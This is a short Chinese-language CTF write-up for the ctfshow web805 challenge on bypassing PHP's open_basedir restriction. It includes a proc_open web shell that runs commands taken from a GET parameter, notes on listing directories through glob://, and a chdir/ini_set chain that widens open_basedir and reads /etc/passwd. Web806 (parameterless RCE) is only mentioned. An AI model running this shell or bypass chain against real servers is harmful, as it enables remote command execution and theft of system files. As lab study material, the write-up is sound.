常见姿势
web805_open_basedir
这题考察的是如何绕过open_basedir。open_basedir是php的一个闲着目录的ini设置,但是这个还是比较好逃逸的
首先我们可以发现其无法使用常见的文件读取函数来读取open_basedir外的文件。
但是我们有如下几种方式来绕过
1.open_basedir对命令执行并没有限制
我们可以先尝试绕过disable_functions。我尝试使用蚁剑的插件来进行绕过但是我不知道为什么蚁无法连接上这个。所以我只好手动绕过
首先我发现其没有过滤proc_open这个函数,那么我们直接使用这个函数来命令执行1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20$command = $_GET[1];
$descriptorspec=array(
0=>array('pipe','r'),
1=>array('pipe','w'),
2=>array('pipe','w')
);
$handle=proc_open($command,$descriptorspec,$pipes,NULL);
if(!is_resource($handle)){
die('proc_open failed');
}
while($s=fgets($pipes[1])){
print_r($s);
}
while($s=fgets($pipes[2])){
print_r($s);
}
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($handle);
2.使用glob://+目录读取+利用chdir()与ini_set()组合Bypass
glob://是一个封装协议其不会受到open_basedir的影响。
我们可以使用文件读取的原生类或者函数+glob://来读取各目录的文件
如下
也可以使用scandir
这些读取方法可以使用glob:///*/www/../*
这种方法来读取var等目录
当我们读取到flag的名字和位置后可以使用chdir和ini_set来绕过1
mkdir('LSE');chdir('LSE');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo file_get_contents('/etc/passwd');
给个文章open_basedir bypass
web806 无参RCE
方法如下文章
无参RCE